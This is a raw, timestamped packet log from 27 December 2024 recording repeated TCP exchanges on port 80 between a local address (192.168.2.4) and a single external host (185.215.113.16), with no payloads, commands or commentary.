Dec 27, 2024 08:45:18.928469896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.929254055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.929361105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.929397106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.930140972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.930264950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.930304050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.931085110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.931211948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.931257010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.931709051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.932023048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.932132006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.932168007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.932944059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.933058023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.933095932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.933890104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.933976889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.934022903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.934880972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.934931993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.934969902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.935766935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.935874939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.935913086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.936655045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.936754942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.936788082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.937562943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.937710047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.937745094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.938455105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.938467979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.990839958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.090936899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.091075897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.091116905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.091351986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.091475010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.091511965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.092329979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.092493057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.092528105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.093214989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.093328953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.093364954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.094145060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.094254971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.094315052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.095067024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.095180988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.095217943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.095973969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.096087933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.096126080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.096946955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.097033024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.097067118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.097826958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.097882986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.097923994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.098862886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.098947048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.098983049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.099698067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.099828005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.099868059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.100662947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.100775003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.100807905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.101596117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.101676941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.101722002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.102615118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.102700949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.102735996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.103427887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.103540897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.103575945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.104361057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.104482889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.104517937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.105279922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.105387926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.105428934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.106203079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.106312990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.106348991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.107136011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.107263088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.107297897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.108072042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.108187914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.108238935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.109016895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.109119892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.109162092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.109925032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.110042095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.110085964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.110872030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.110979080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.111012936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.111825943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.111881018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.111916065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.112750053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.112867117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.112905979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.113655090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.113754034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.113796949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.114592075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.114696980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.114744902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.115531921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.115618944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.115653038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.116456032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.116542101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.116583109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.117377996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.117547989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.117593050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.118324041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.118427038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.118470907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.119278908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.119386911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.119445086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.120161057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.120254993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.120297909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.121095896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.121210098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.121244907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.122122049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.122329950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.122371912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.123042107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.123119116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.123161077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.123872995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.123999119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.124036074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.124804020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.124936104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.124970913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.125737906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.125878096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.125920057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.126662970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.126781940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.126817942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.127470016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.127595901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.127736092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.127772093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.128534079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.128607988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.128645897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.129448891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.129585028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.129627943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.130433083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.130506992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.130543947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.131318092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.131423950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.131491899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.132292986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.132412910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.132489920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.133172989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.133249998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.133285999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.134124994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.134232998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.134269953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.135050058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.135144949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.135185003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.136014938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.136153936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.136197090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.136904955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.137017012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.137051105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.137445927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.137868881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.137993097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.138034105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.138777018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.138880014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.138917923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.139642954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.154881001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.174758911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.292538881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.292598009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.292646885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.292903900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.334722042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.377829075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.411998034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.412014961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.412121058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.422787905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.422863960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532114029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532135010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532152891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532160997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532170057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532171965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532176971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532179117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532186031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532192945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532200098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532202005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532207012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532208920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532208920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532212973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532226086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532248020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532257080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532279015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532454967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532466888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532480001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532494068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532512903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532512903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532520056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532525063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532533884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532546043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532557011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532561064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532569885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532576084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532583952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532596111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532603979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532610893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532624006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532632113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.532636881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.532658100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533343077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533356905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533366919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533381939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533389091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533392906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533412933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533428907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533487082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533499956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533510923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533524036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533536911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533544064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533555984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533560991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533570051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533582926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533595085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533605099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533611059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.533618927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.533652067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.534399033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534411907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534423113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534460068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.534477949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534490108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534499884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534512043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534512997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.534523964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534528017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.534539938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534554958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534564018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.534569025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534581900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.534605026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.534625053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535254002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535273075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535284996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535298109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535310030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535329103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535336971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535339117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535352945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535367012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535378933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535388947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535393000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535413027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535413980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535422087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535427094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535439968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535453081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535466909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535475016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535480022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.535486937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.535667896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536119938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536305904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536319017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536330938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536343098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536350965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536355972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536370039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536389112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536389112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536401033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536412954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536425114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536437035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536441088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536449909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536463022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536469936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536477089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536492109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.536492109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.536513090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.537146091 CET	80	49744	185.215.113.16	192.168.2.4
